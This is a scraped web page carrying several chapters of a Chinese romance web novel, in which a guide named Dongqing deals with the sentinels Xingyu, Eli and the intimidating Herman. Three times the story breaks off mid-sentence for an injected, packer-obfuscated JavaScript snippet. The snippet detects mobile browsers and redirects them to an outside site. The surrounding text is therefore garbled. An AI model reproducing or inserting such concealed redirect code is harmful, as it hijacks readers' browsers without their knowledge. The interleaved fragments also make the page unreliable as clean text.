草地上有很多刚训练完的哨兵在放松休息,她走去一旁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421659|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长椅,双手插在卫衣兜里坐下。 天边火烧似的夕阳很漂亮,跟她从前看过的一样。 会是同一片天空吗?她想。 “喵——” 脚边突然传来一声猫叫打断她的沉思,冬晴竟然又看到了那只暹罗猫。 她左右探视,没有发现星隅的身影,弯着腰想了想,这一回直接把小猫抱了起来,放进怀里。 猫很乖,待在她怀里没有乱动,只有尾巴高高竖着,一下一下轻拍她的胸口。 冬晴真的很喜欢暹罗猫,但又怕自己的动作会让它不舒服。 十分小心地从头到尾给它顺毛,带着笑腔道:“好可怜呀小猫,你主人又不要你了。” 暹罗猫闻言,在她怀里小声的抗议:“喵——” 星隅此刻躲在不远处的树丛里,背靠着一棵大树,粗壮的树干将他的身影完全遮挡。 他站姿很懒散,垂着脑袋,翻了个有气无力的白眼。 “笨死了,以为精神体是宠物吗,还主人……” 沉浸于撸猫的冬晴并不知道自己被人怎样编排,一边摸一边还是没忍住,问出了那个经典问题: “小猫啊,你喜欢妈妈还是爸爸?” 然后收到小猫用尾巴拍了一下她的脸作为回答。 冬晴:…… 冬晴:不说就不说,怎么还动上手了。 她好不容易有这种机会近距离接触小猫,自然要好好亲热一下。 把小猫竖着抱起来,让它靠近自己的脸,粉粉的鼻头和自己的鼻尖亲昵地蹭了蹭。 暹罗猫又叫了一声,但任由她摆弄,没有半分拒绝的意思。 小猫身上也香香的。 越看它,冬晴越想起星隅那张脸,跟小猫简直一模一样,感觉就是被人娇生惯养的贵族小猫托生转世。 “他应该还在生气吧。” 冬晴把猫放下,重新让它躺在怀里,一下一下摸着,有些惆怅道。 “抱一下。”她小声呢喃着这三个罪魁祸首般的字眼,语气不太确定,“在这里,抱一下是很正常的事情吗。” “可是B级哨兵没有向我提过这个请求。”她自我反驳道,想了很久还是想不通为什么,只能长长叹出一口气。 “真是个难懂的世界啊——” “你为什么抱着我的猫?” “啊!” 头顶上传来幽幽的质问,冬晴吓得直接把怀里的猫泼出去。 然后被星隅稳稳接住。 完了…… 冬晴心想,把他的猫给扔了,他不生气才怪。 小心翼翼地抬眼,果然看到一张很臭的小猫脸。 真是很爱生气啊,她又想,总共见了三四次面,好像每次都在生气。 她盯着星隅故作严肃的表情,有几瞬的出神,不知突然想到了什么,竟是无端笑起来,痴痴笑了好一会儿。 她想起自己学生时代看过的一部电视剧,学着里面的台湾腔笑道: “早上森气,中午森气,下午还要森气!” 星隅被她故意搞怪的语调弄得有点难为情,怀里的猫果然有炸毛的倾向。 他咬着牙,忍住了跺脚的冲动,百口莫辩:“我今天没有生气!” 冬晴歪了歪头,逗他:“真的?” 星隅有点招架不住,他很想转身离开,但上次的经验又告诉他,冬晴不会追上来。 只能定在原地,强忍着脸上的烫意:“真的没有生气!” 冬晴依旧笑眯眯地盯着他,神色有种纵容的柔和。 干嘛连解释自己没有生气都一副委屈的样子,搞得有点可爱…… “没有生气的话。”她将每个字的尾音都拉得有点长,似乎是在留给自己思考的时间,最后顿了顿,继续道,“那还要不要和我抱一下?” 星隅:!! 他尚且没能反应过来,就见冬晴已经缓缓站起身,还十分平静地询问他的意见:“要在这里吗?现在?” “不行!”星隅脱口而出,又怕她以为自己不想抱,赶紧小声补充,“不要在这里,要在静音室。” 冬晴点点头,等他继续说。 “明天……明天下午。”精神体暹罗猫已经被他收回去,现在这里只剩下一只小猫,他低头对她讲,“我看过了,你明天排班在下午,我最后一个过来。” “好。”冬晴对他笑了笑,“我会等你的。” 8. 第 8 章 距离最后一个来净化的B级哨兵离开已经有十五分钟了,冬晴坐在旋转椅上无聊地打转。 星隅怎么还不来,不会是要放她鸽子吧? 她打开光脑,正打算给小猫发消息问问情况,门铃恰好在这时响起了。 冬晴从椅子上下来,小跑到门口,深呼吸两次,拉开门—— 然后差点被闪瞎了。 她大概知道星隅这晚来的十五分钟在捣鼓些什么东西了。 他今天穿得格外讲究,看风格大概是作战服之类的,一套修身简约、很有设计感的西装。 不是那种正经显老气的,反而从颜色到细节,都给人一种迎面而来的青春活力。 衣服上还挂了很多亮晶晶的小配饰,像是玩换装游戏时,为了得到高分,把所有能穿的不能穿的全点到身上。 不过好在他的审美不错,脸蛋又长得贵气,即便搭配架势宛如暴发户,依旧不显丝毫庸俗。 冬晴眼睛都快看直了,一边把他迎进静音室,一边道:“你今天穿得像王子。” 星隅对她的反应非常满意,把头昂得更高了。 冬晴借口去给他倒杯水,拿着水壶时其实满脑子都在想要怎么开场,毕竟上一次是瑞尔直接抱住她的。 她苦恼地拿着水杯,一转身,才发现星隅不知什么时候已经在她背后站定。 他直勾勾地盯着她,像猫科动物捕猎时那样专注:“我不要喝水,直接开始吧。” 冬晴默默把水杯放下,见星隅一脸“你赶紧来抱我”的表情,嘴角抽了抽。 她这完全就是在哄小孩吧?! 看着冬晴有点奇怪的表情,和一动不动的样子,星隅的心脏突然慌乱地跳了两拍。 他恶狠狠道:“你已经答应我了,不能反悔!” 冬晴闻言错愕了一瞬,想说她不会反悔。 然而,她那短暂的迟疑落在星隅眼里,就是想要逃避的前兆。 他又想起在自己面前毫不留情合上的、她的休息室的大门。 和他蹲在角落,祈祷她能出现在自己面前时,那声关门的巨响。 不能相信她,她是会抛弃小猫的、世界上最无情的人。 星隅感到有股酸酸的热意涌上他的鼻子。 下一秒,他不管不顾地扑过去,把冬晴抱在怀里。 感受到人体温热柔软的触感时,他总算找到了踏实的感觉。 星隅从前觉得瑞尔很蠢。 不要命地同意什么跨级净化,把人搞失忆了也不知道赶紧跑,反而要整天黏着一个奇怪的B级向导。 他看不出来她并不喜欢他们吗?他看不出来她恨不得离他们远远的吗? 被人讨厌了为什么还不赶紧走,为什么还要没脸没皮地贴上去,这肯定只会惹人更加厌烦吧。 但他好像想错了。 看到瑞尔从她的静音室里出来,听到她说他们抱了一下。 心脏像是被人狠狠揪住,不肯放手。 到底是哪里搞错了,他不知道。 对人不停地摇尾巴就真的能得到一点点的喜爱吗。 瑞尔的结果似乎告诉他,事实就是那样。 于是他鼓足勇气、有一点点期待地,试了一下。 然后他知道了,都是骗人的。 她是最无情的人。 感受到背后抚上了两只手,像摸小猫一样,一下一下替他顺着气,星隅把头更深地埋进冬晴的肩窝。 也是最心软的人。 冬晴并不知道发生了什么。 星隅扑过来紧紧抱住他以后,就好像一直在隐隐地颤抖。 她直觉这并不是一种好的情绪,但又不知道该怎么做,只能进行潦草的安慰。 紧密的拥抱之间,她感受到自己的精神力要开始离体工作了,于是不得不小声提醒:“星隅,别让我的精神力净化你,很危险。” 星隅蹭着她的颈侧,闷闷地应了一声,感知到她的精神力快进入时,用自己的精神力升起屏障,把她的东西都弹开。 冬晴短暂的眩晕时,听到星隅闷哼了一声,抱她抱得更紧。 上次和瑞尔净化失败他也是类似这种反应,当时只是说会难受…… 她有点不确定地小声问:“这样会痛吗?” 星隅好半天没回答,稍微缓过点神后反问她:“什么时候可以跨级净化?” 又跨级净化? 她都决定不研究这东西了。 时诺向导上次说,跨级净化的话光拥抱可能还不够亲密…… 不敢想、真的不敢想。 虽然她偶尔有点好色,但在大是大非面前还是很有原则的,伤害男人清白的事,她做不到。 “不行吧……” “嘶!” 她话音刚落,就感到脖颈侧边被人咬了一口,刚想把星隅推开,脑袋突然“轰”的一声,几乎要炸开。 湿润的,温热的,在她颈侧擦过。 他用舌头舔她?! 在她猛地伸手推开星隅之前,这只干了坏事的小猫自己先退了两步。 他好整以暇地垂眼看着她。 冬晴抬手捂住脖子,掌心甚至都不敢贴住那块皮肤,生怕触到什么。 她难以置信地问:“你疯了?” 星隅并不回答,嘴角难以遏制地翘起一点,看样子很高兴、很得意。 冬晴却真切地感到,自己的什么观念好像要被打碎了,并且正在以一种歪七扭八的方式重新拼凑。 这该怎么办?应该得大骂他一顿,然后严肃地拒绝和他来往吧? 如果轻易放纵了,就算是助纣为虐吧? 但为什么他们总是一而再再而三做这种事呢? 瑞尔也是,星隅也是,就连时诺向导也劝过她一些意味不明的话。 难道真的是正常的吗? 冬晴在这一刻意识到一个问题,关于原则。 她奉为圭臬的,恪守了二十二年的原则,在这个世界还适用吗? 不然为什么,所有人都试图打破它呢。 星隅看着她愣神了很久,心里又涌起不安,是不是闯祸了。 他无措地上前一步,考虑着要不要认错,却看见冬晴忽然放下手。 她脸上没有要责怪的神情。 “算了。”她说,“我们走吧。” 星隅不知道发生了什么,没有那种被纵容地松了一口气的感觉,反而气氛让他有点张不了口。 离饭点还有段时间,星隅想送她先回休息室。 两人一路无言地走了很久,暹罗猫跟在她脚边,魂不守舍的,尾巴低低坠着。 小猫真的很好懂啊…… 冬晴无奈地被它这样子逗笑,刚想说些什么缓解气氛,身后却传来了一道很好听的声音: “原来在这里啊,找了你好久。” 冬晴闻言回头,愣住。 伊莱朝两人匆匆跑来,浅灰色的长发飘动起来像是开了一朵又一朵的花。 身边的星隅先开口喊了人:“队长。” 冬晴吓了一跳,原来伊莱是星隅的队长啊。 “嗯。”伊莱没什么波澜地冲他点点头,“五分钟后有小队的临时加练,给你发消息也没回,原来是跟冬晴向导在一起。” 星隅:“抱歉,我没注意光脑。” 冬晴突然被点名,也有点不好意思:“抱歉啊,是不是耽误你们训练了。” 伊莱没想到自己的话会惹她自责,赶紧扭过脸来冲他温和一笑:“没有的事,时间刚刚好。” 冬晴:! 她想,如果自己有类似天使小人那种内心活动具像化的话,此刻一定已经被丘比特万箭穿心,狂喷鼻血。 她咳嗽两声清嗓,掩盖自己的害羞:“那你们赶紧去训练吧,我不耽误你们了!” 星隅闻言失落地看了她一眼,不太高兴地撇撇嘴。 伊莱也若有所思,忽然对她歪了歪脑袋,发出邀请:“冬晴向导,你想来看我们小队训练吗?” 冬晴脸又是一热:“嗯?” 坐在训练场边的草地上,冬晴单手托腮,有些无聊地看着里面正在训练的哨兵。 哨兵的作战方式大多是使用精神力,这种看不见摸不着的东西,不管里头打得有多激烈,在冬晴眼里也都是一群人站在原地不停流汗。 顶多能感知到一些精神力波动。 “很无聊吧?” 伊莱带笑的声音将她拉回神。 他走到她身旁坐下,又递给她一瓶饮料:“哨兵一般都只喝水,这是我问别的向导要来的,不知道你喜不喜欢。” 什么白塔塔花,这简直是白塔天使! 冬晴接过喝了一口,表示自己很喜欢。 伊莱庆幸地说:“那就好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421660|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他陪冬晴坐了好一会儿,发现比起训练场,她的目光更多时候会悄悄落在他的脸上。 于是趁她又一次偷看自己时,缓缓扭头,对上冬晴小心的视线,对她微微一笑。 当场被抓包的冬晴闹了个大脸红,不得不硬着头皮诚恳道:“你真的好漂亮啊。” 伊莱没想到她会这么说,耳根也红了:“谢谢,你也很漂亮。” 冬晴自动把她的后半句夸奖当作客套,又问:“伊莱,你知道你在白塔里的外号吗?” “外号?”伊莱并不知道自己还有这种东西,诚实地摇了摇头。 冬晴立刻献宝似的告诉他:“白塔塔花,还有男妲己!” 伊莱失笑:“大概是向导们给我取的?我在哨兵这边没听过这些称呼。” 冬晴备感荣幸,她算是第一个把花名舞到正主面前的了吧? 坐在伊莱身边,即便不说话也没觉得尴尬,因为她的全部注意力都放在那张脸上面了。 真的很漂亮啊…… “冬晴向导。”漂亮的脸开始说话了,“你今天是给星隅做了跨级净化吗?” 冬晴一怔,怎么所有人都在问跨级净化。 她摇头:“还没有净化,抱了一会,好像这样也能减轻污染?我觉得有点奇怪。” 伊莱淡笑着问她:“哪里奇怪?” 冬晴想了想:“净化不都是哨兵和向导面对面坐着,然后向导用精神力把哨兵的污染部分消融。” “拥抱一下,连精神力都不用,就能让污染少一点,这合理吗?如果这样的话,哨兵每天排队和同级向导拥抱不就好了吗?” 伊莱被她的说法逗笑:“我上回问时诺向导,他说你是个奇怪的人,现在我知道了。” 什么鬼…… 冬晴在心里默默握拳,上司在美人面前讲我坏话。 伊莱同样思考了一会儿,笑容淡下去:“你大概不知道污染究竟是什么吧?” 冬晴心里冷笑,呵呵,她岂止不知道污染是什么。 伊莱的声音很柔,并不是典型的男性嗓音,讲话时也有种娓娓道来的动听: “污染是一个人积攒的恐惧、不安。哨兵在白塔外需要面对的事情是常人无法想象的,要想在这样的环境下生存,只能把所有负面情绪抛之脑后,积压得久了,无法自主排解消散,就变成了污染。” “向导天生具有净化这种污染的能力,在哨兵看来是令人无比安心的存在,但与其说我们对向导安心,不如说是我们对你们的精神力感到安心。” 那她当初想得没错,冬晴腹诽,这不就是压力太大、积忧成疾的特种兵,和防止他们得抑郁症变成疯子的心理医生么。 “而你说的那种情况很特殊。” 伊莱转过脸来看着她笑说:“如果仅凭一个拥抱、一些亲密接触就能缓解污染,这说明他对你的靠近本身就感到喜悦、安心,这并不是任意的哨兵和向导可以做到的。” 冬晴:脸好美,在讲什么,听不懂。 开玩笑的,冬晴还是听进去了一点。 只不过她不懂:“你是说星隅对我抱他感到安心,这难道不奇怪吗?我们甚至不是朋友,只算同事啊?” “你真的是向导吗?”伊莱温温柔柔地发问。 冬晴却感觉遭到了致命一击,说不出话来。 她……是向导吧?马上满月的向导。 看冬晴突然紧张的样子,伊莱若有所思:“向导是不会问一个哨兵为什么要想靠近自己的,接受本能的指引,是我们的行事准则。你说的话听起来都有点……钻牛角尖。” 冬晴默默仰头看天,感觉即将有两行清泪流下来。 她现在懂了。 这里特么的就是个动物世界啊! 依照本能做事,不加思考,还叫她不要钻牛角尖。 甲方妈妈,她在内心呐喊,我真的想你了!! 沉默良久,冬晴突然把头重新低回来,犹豫地问:“话说,伊莱,你和时诺向导平时净化,也会……” 她停顿下来,思考怎么把话说得不那么奇怪一点。 伊莱明白她未尽的意思,讶异地看着她,几乎马上反驳:“当然不会。” 他看着冬晴面对他总是微微泛红的耳朵,心里也有种莫名的柔软: “我应该……还没拥有靠近就能感到安心的存在。” 9. 第 9 章 冬晴升任B级向导组长的当天,瑞尔和他的小队也出任务回来了。 她坐在休息室里,和艾拉两个人,对着光脑个人信息,职称那一栏上的“B级向导组长几个字”不停傻笑。 “最少的排班,嘿嘿嘿,最多的奖金,嘿嘿嘿,最全的五险三金,嘿嘿嘿……”她又如魔障般念叨起来。 弹出的一条新消息打断了二人对未来的美好幻想。 冬晴点进去一看,发现是瑞尔发来的。 [瑞尔]:姐姐,我马上要到白塔了! 想着今天是个好日子,合该给这位小朋友一同分享分享这喜悦的好消息。 她站起身打算去白塔入口处迎接,顺便问了艾拉要不要一起,不过后者嫌人多就拒绝了。 白塔入口处已经聚集了很多人,哨兵向导都有,大概迎接英雄凯旋是一件与有荣焉的事情。 冬晴随意找了个空闲的地方站着,她今天依旧是一身休闲装扮,连帽卫衣外套加一件卫裤。 经过她这一个月以来的观察,她发现白塔里的人每天都穿得很正式,哨兵经常穿作战服也就算了,向导怎么一个个不是连衣裙就是西装的。 她很想问问他们真的有这么热爱工作吗,搞得她好像是来度假的。 冬晴格格不入得十分显眼,但她不改,甚至还抬手在脑后随意给自己扎了个鸡窝丸子头。 将松弛感贯彻到底吧! “来了来了!” “第二小队回来了!” 人群开始涌动,冬晴听着周围人嘈杂的交谈声,不由也踮了踮脚,朝远处望去。 那是一支训练有素的队伍,领头人一头黑发,远远的看不清五官细节,只能大致看出长得十分硬朗,气场强大,不怒自威。 冬晴的目光从他脸上略过,去寻找那一抹棕栗色。 队伍逐渐靠近了,瑞尔也在两旁迎接的队伍里左右观察着,期待看到某一个身影。 像是小狗天生敏锐的嗅觉,明明还离着近二十几米的距离,瑞尔却突然将视线聚焦在某处。 特殊的、和所有人都不相同的气味。 是她! 他整个人高度兴奋起来,眼里闪着晶亮的光,第一次,不顾队长关于队纪的训诫。 于是,冬晴看到,那抹棕栗色突兀地离开整齐的队伍,毫无预兆地朝他狂奔而来。 她瞪大眼睛,身边的所有人也在因为瑞尔的举动产生惊呼。 下一秒,铺天盖地的气息压过来,冬晴被他抱了满怀。 “姐姐,你真的来接我了!” 冬晴在他雀跃的欢呼里,感到自己双脚离地,被抱着转了一圈。 天、天呐…… 她简直晕头转向,勉强拍拍瑞尔的胳膊,示意他赶紧把自己放下来。 在地面上站稳,冬晴缓出口气,快因为周遭好奇的目光羞愤而死。 她小声问瑞尔:“这么远,你怎么发现我的?” 瑞尔有点得意:“姐姐的气味不一样,你失忆之后我就能闻到了。” 那天早上听说冬晴失忆,念着向导姐姐之前给自己净化过,又对他特别亲切,就像亲姐姐一样,于是赶忙跑去了时诺向导的办公室看看。 发现向导姐姐果然不记得自己了,他还失落了好一阵,但同时—— 他闻到她身上突然有一股很好闻的气味,让人特别想靠近,多闻一会儿。 也能让他在人群里第一时间找到她。 冬晴抬手擦了擦不存在的汗。 她的马甲完全……破烂不堪啊。 她没多纠结这事儿,又问:“你这样离队没事吗?” 瑞尔丝毫不担心:“我保证会接受队长的处罚的。” 冬晴:…… 冬晴:不是怕你逃避处罚的意思。 谈话间,这支小队剩余的人也已经走到了面前。 这样的距离,冬晴总算看清了领头男人的脸,五官确实冷硬英俊得不像话,但比其更为突出的,是他威严的气压。 他似乎无意地扫过来一眼,冬晴和他的视线短短对上片刻,都感觉自己快被那眼刀切成生鱼片了。 瑞尔注意到她在看自家队长,于是主动俯身到她耳边介绍:“姐姐,这是我的队长,S级哨兵,赫尔曼。” 冬晴表示了解地点点头,侧过一点脸在他耳边小声说:“你队长看起来一副污染很严重的样子。” 瑞尔被她的话吓了一跳,赶紧从身后捂住她的嘴,无奈道:“姐姐!队长能听见……” 完了…… 她给忘了,哨兵的五感异常发达。 她僵硬地把头侧回去,眼睁睁看着已经路过她的黑发男人突然停住脚步,扭头冷冷看了她一眼。 仿佛在宣判她的死期。 冬晴浑身一激灵,拿下瑞尔捂住他嘴的手,发表遗言: “我会被他弄死的吧……” 当然,一条命而已,哪里会有她的好消息重要。 在升官发财这件人生喜事面前,生命垂危什么的都先抛到脑后。 冬晴向瑞尔分享完她的光脑个人信息界面,就先叫他先乖乖去找A级向导净化,自己则打算去找时诺向导。 毕竟是顶头上司,还给一言不发地给她升了职加了薪。 所谓职场原则第一条:讨好上司。 别管讨好什么,先讨好就对了! 她一路哼着快活的歌,用“八步赶蝉”法蹦跶到了时诺向导办公室前。 抬头轻快地敲了两下门。 里头远远传出来一声“请进”。 老板的声音还是这么温柔好听! 冬晴兴高采烈地推开门:“亲爱的老板……” 目之所及的地方没有半个人影,她边说边向左扭头—— 猝不及防看到一条近在咫尺的杜宾犬。 戴着黑色止咬器,凶狠地盯着她。 时间静止了三秒,她花了三秒和恶犬大眼瞪小眼的时间,确定了这不是幻觉。 “卧槽槽槽槽、槽!” 她吓得原地起跳,朝右边猛飞了一步,眼含热泪地朝右再一扭头—— 直愣愣地对上那张“会把她弄死”的冷脸。 男人同样戴着止咬器,眼神甚至比恶犬还狠戾,完全可以当作冷兵器使用。 槽啊!槽槽槽槽槽、槽啊!! 冬晴这回直接吓成了哑巴。 “啪”一声,她四肢无力地向前倒下,跪趴在地上,头深深地埋起来。 冬晴已经把这辈子所有能骂的脏话都在心里过了一遍了,但一句也不敢说出来。 左一条恶犬,右一个恶男。 冬晴:嘤,我的命好苦。 下次再有这种情况,能不能在门口贴上“内有恶犬”的标识啊!! 时诺闻声从里面出来,刚一走近就看到灵魂出窍,彻底跪倒在地上的冬晴。 他一看这场面就知道发生了什么,无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421661|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奈道:“赫尔曼,都告诉你不要坐在门口,很容易吓到人的。” 全程连眼睛都没眨一下的黑发男人冷冷道:“我以为除了S级哨兵,没有人会来你这里。” 他的声音又低又沉,有种砂砾般粗糙的质感,很磨耳朵。 但冬晴却听得瑟瑟发抖。 她那阳光开朗的小狗男高,怎么会有这种魔鬼队长?! 老师,我们家瑞尔回来一直哭,说什么队长实在太吓人了…… 时诺看她还一直趴在地上,猜她可能是被吓得腿软,走过去把人扶起来。 冬晴此时此刻只想说一句“谢主隆恩”。 她眼睛直直地盯着前方,完全不敢往两侧看去,一丢脸,嘴上又开始胡说八道:“时诺向导,您是对我哪里不满意吗?” 虽然吓人的不是他,但到底是在他的地盘发生的惨案,时诺便笑着配合她演了演:“没有不满意,我下次不把这尊辟邪的门神放门口了。” 冬晴生无可恋:喂啊老板!你这说的更吓人了啊,什么辟邪门神的,你是他向导他不记你仇,万一全记我头上了怎么办啊?! 特别是这位仁兄还戴着什么止咬器,一看就是会发狂、特别不好惹的那种,感觉一出门就会被他斩杀啊!! 时诺看她缓过来劲了,将人松开,问:“冬晴向导,过来找我有什么事吗?” 冬晴抹掉眼眶里被吓出来的一点泪花,总感觉如芒刺背,别扭道:“就是当上B级向导组长了,过来感激一下您对我的知遇之恩。” 时诺上下看了她一眼,冬晴莫名从他的神情里品出了意思:空手来的? 冬晴:? 冬晴:喂!其实能当上组长完全是靠我全月无休的努力工作好吗,和你顶多有半毛钱关系,别给我得寸进尺! 但如此大逆不道的话,在心里想想就算了,冬晴假装没看懂他的表情,手窘迫地往卫衣兜里摸了摸。 这一摸,还真叫她摸出东西来了,两个包装袋里圆圆滚滚的两颗玩意。 她一时没想起来是什么东西,索性拿出来一看。 于是三双眼睛,众目睽睽之下,冬晴拿出了两颗芝麻丸。 哦,想起来了,艾拉之前给的保命小零食,因为没吃完,所以一直随身揣着。 拿都拿出来了,又不好再放回去,冬晴抬头尴尬地和时诺对上一眼:“老板,吃吗,长头发的。” 一片死寂中,时诺没脸看地拿了一个。 还剩下一个…… 冬晴有个危险的想法。 她僵硬地转身,小心地把芝麻丸推到赫尔曼面前的茶几上,斟酌着称呼,谨慎开口:“队长,请你吃……” 被人吓得魂都飞了,她还请人吃芝麻丸。 简直就是农夫与蛇、吕洞宾与狗、冬晴与赫尔曼! 她隐隐期待地等着这位恶犬的反应,最后只等到了他冷冷的一个抬眸。 眼神再次对上的那一瞬,冬晴差点条件反射地给他鞠了个躬…… 好了……友善同事,讨好上司的原则里,应该是可以排除这一位了。 “赫尔曼在失控边缘,你别逗他了。”时诺出声解围。 逗他?!老板你莫不是在逗我…… 冬晴嘴角抽搐着扭头看向时诺,十分懂眼色道:“那我先走了,不打扰你们净化了时诺向导。” 她身子僵直地离开办公室,临走时余光却瞥到—— 她放在茶几上的芝麻丸呢? 10. 第 10 章 在光荣升任B级向导组长后,冬晴发现需要接手的工作比她想象中的难一些。 光是给五十五名B级向导排班就让她绞尽脑汁,既要控制每名向导的每日工作时长在四小时以内,又要保证所有需要净化的B级哨兵都能“挂得上号”,还要偷偷给艾拉开小灶、减排班。 一个午休下来,冬晴已经把自己的头发挠成鸡窝了。 遇事不决,就先给自己多排几个“专家号”,谁叫她现在是组长呢! 手握排班权限,能够看到B级所有向导的净化业绩之后,冬晴这才发现自己真是勤奋得可怕。 其实每个月花四五天的时间去坐个全班,就已经能保证在B级向导中稳坐业绩第一的宝座了。 亏她上个月还拼了老命地上班,假想敌统统不存在啊!! 拟定好下一周的排班,反复确认无误,冬晴无所事事地坐在旋转椅上转了两圈,最终还是决定去静音室坐班。 她确实喜欢让工作堆满她的生活,有种一口气往嘴里塞了八个馒头的踏实感。 扶着椅子把手晕晕乎乎地站起身,光脑处震了一声,似乎是有什么新消息。 她点进去一看。 [时诺向导]:速来我办公室。 光看这简短的六个字,冬晴就脑补出了时诺危在旦夕、命悬一线,决定让自己最看重的后辈继承他官职和财产的重大场面。 连消息都没来得及回,一溜烟就朝时诺的办公室狂奔而去。 “砰”一声推开门。 冬晴气喘吁吁地扶着门框,一副“臣救驾来迟”的悲痛表情。 一抬头,发现办公室的待客区域总共有三个人。 冷面恶犬·赫尔曼,他依旧戴着止咬器,靠坐在长沙发中央,头微微昂着,看不清具体表情。 白塔塔花·伊莱,他站在一旁,神色凝重,目光下垂,但没有聚焦,像是在走神。 最后,还有她最敬爱的老板大人—— 时诺向导坐在正对着门口的单人沙发上,一手扶额,遮住了脸,但整个人看上去分外苍白,显然状态不大好。 冬晴哭天抢地地就朝时诺扑了过去,然后在他身旁十几厘米的地方停下,保持着纯洁良好的上下级关系: “天杀的!是哪个小贱人把我们老板害成这样了?!” 室内陷入比方才更沉默的沉默中。 伊莱像是这才回过神一般,弱弱地开口为她解释情况: “啊,冬晴向导,是赫尔曼在净化的过程中突然失控,攻击了时诺向导。” 缓缓的……冬晴石化了。 下次有这种特殊情况先早点介绍背景行不行?! 说出去的话就是泼出去的水,她小心翼翼地瞥了那位“小贱人”一眼。 发现赫尔曼正蹙着眉闭目养神,看起来压根不想搭理她。 不搭理好啊……不搭理好…… 冬晴心里松下一口气,又左右环视了一圈眼下的状况。 一位受伤的S级向导,一位失控的S级哨兵,还有一位完好无损的S级哨兵。 三S鼎立的场面,她这个B级向导是不是稍微有点格格不入了。 冬晴清了清嗓,问出心中疑惑:“不过,把我叫过来是干什么?” 时诺再次揉了揉太阳穴,总算放下了手,声音比平时哑一些:“这种特殊情况,你身为B级向导组长,有责任在场帮忙。” 冬晴明白,虽然她显然什么忙也帮不上,但领导要的就是一个态度! 她点点头,又环视一圈,确定这里没有第五个人,拉踩道:“A级向导组长还没有来吗?” 时诺:“A级向导总共八人,由我统一领导。” 换言之,A级向导组长早来了,就是你亲爱的老板呀! 冬晴:…… 冬晴:那场面就很奇怪了,三S加一B,怎么看我都是来送死的吧? “老老老、老板。”她结巴道,“您确定我真的需要在场?” 一个失控的S级哨兵,如果连他们两个联手都没法制服,你们想指望一个B级哨兵干什么? 让本次事件的伤亡人数实现从零到一的突破吗?! 要态度也不是这么个要法吧?真硬要啊?! 然而其余人像是根本没听见她说话一般,自顾自谈论起来。 时诺:“我精神力受损,三天内应该没有办法再次净化,好在他失控攻击我前已经净化掉了一部分污染,这三天不能让他情况恶化,不然会随时发狂。” 伊莱:“接到上级命令,最迟两天后我就要带队出任务,事情最好在两天内解决,不然不确定还有没有S级哨兵来帮忙。” 冬晴“咕咚”一声咽下口水。 用余光悄悄瞥着沙发上那一副“事不关己”模样的赫尔曼。 就连闭着眼都看起来异常凶狠啊…… 完全能想象他失控的时候,两眼冒寒光,神挡杀神、佛挡杀佛的样子。 冬晴低着头,努力将自己的存在感降到最低,默默、默默地退开。 在她使用太空步磨蹭出待客区时—— “站住。”时诺说。 冬晴简直想哭,上演苦情戏般哀求地唤道:“老板……” 伊莱看她一副弱小可怜又无助的样子,也帮着求情:“冬晴是B级向导,留在这儿太危险……” 时诺头疼地闭了闭眼,没跟他们解释,只坚决道:“她得留在这儿。” 冬晴:嘤,老板,你真的变了,怀念我们最开始认识的时候,你还带我做全身检查,现在你只想让我去死! 她看看赫尔曼,看看伊莱,再看看时诺。 虽然完全不知道自己和上司的伟大革命友情什么时候到了相看两生厌的地步,但反正逃是不可能逃了,还不如想想怎么提高自己几乎为零的存活率: “老板,我有话想说,能不能出去聊。” 时诺看看她,微笑道:“直接说吧,他们有什么不能听的吗。” 冬晴顿时汗如雨下。 她想说的话是巧克力,人吃了没事,疯狗吃了,就不知道了…… 看着时诺非要她开诚布公的眼神,冬晴斟酌着用词: “哈哈,就是呢,现在赫尔曼队长不是有点失控了嘛,我在想啊,白塔里有没有那种类似……类似禁闭室的地方,我们先把队长关一关,哈哈铁窗泪嘛,这样会不会安全一点?” 说完,她觉得自己的脑袋已经岌岌可危。 时诺张了张嘴想要说话,但在他之前—— “可以。” 低沉的声音一出,在场其余三人都愣了。 意识到刚刚那两个字是赫尔曼讲的,冬晴眼睛都亮了。 看看!看看!! 赫尔曼队长虽然长得有点凶神恶煞,但还是很明事理的嘛! 夸赞的话还没说出口,她就看到赫尔曼如毒蛇般的目光朝她投过来,他一字一顿道: “然后你来监管我。” 冬晴腿一软,差点又给他跪下了。 她扶着一旁墙壁,真切地感受到,自己的内心在吐血。 所以,今天就是说什么都不能让她活下来,是吗? “你别吓她了。”伊莱责备地看了赫尔曼一眼,走过去扶着冬晴让她在一把椅子上坐下。 认真向她解释:“S级哨兵如果完全失控的话,不管什么禁闭室都没用了,所以还不如待在时诺向导的办公室里,有S级向导在场会保险一些。” 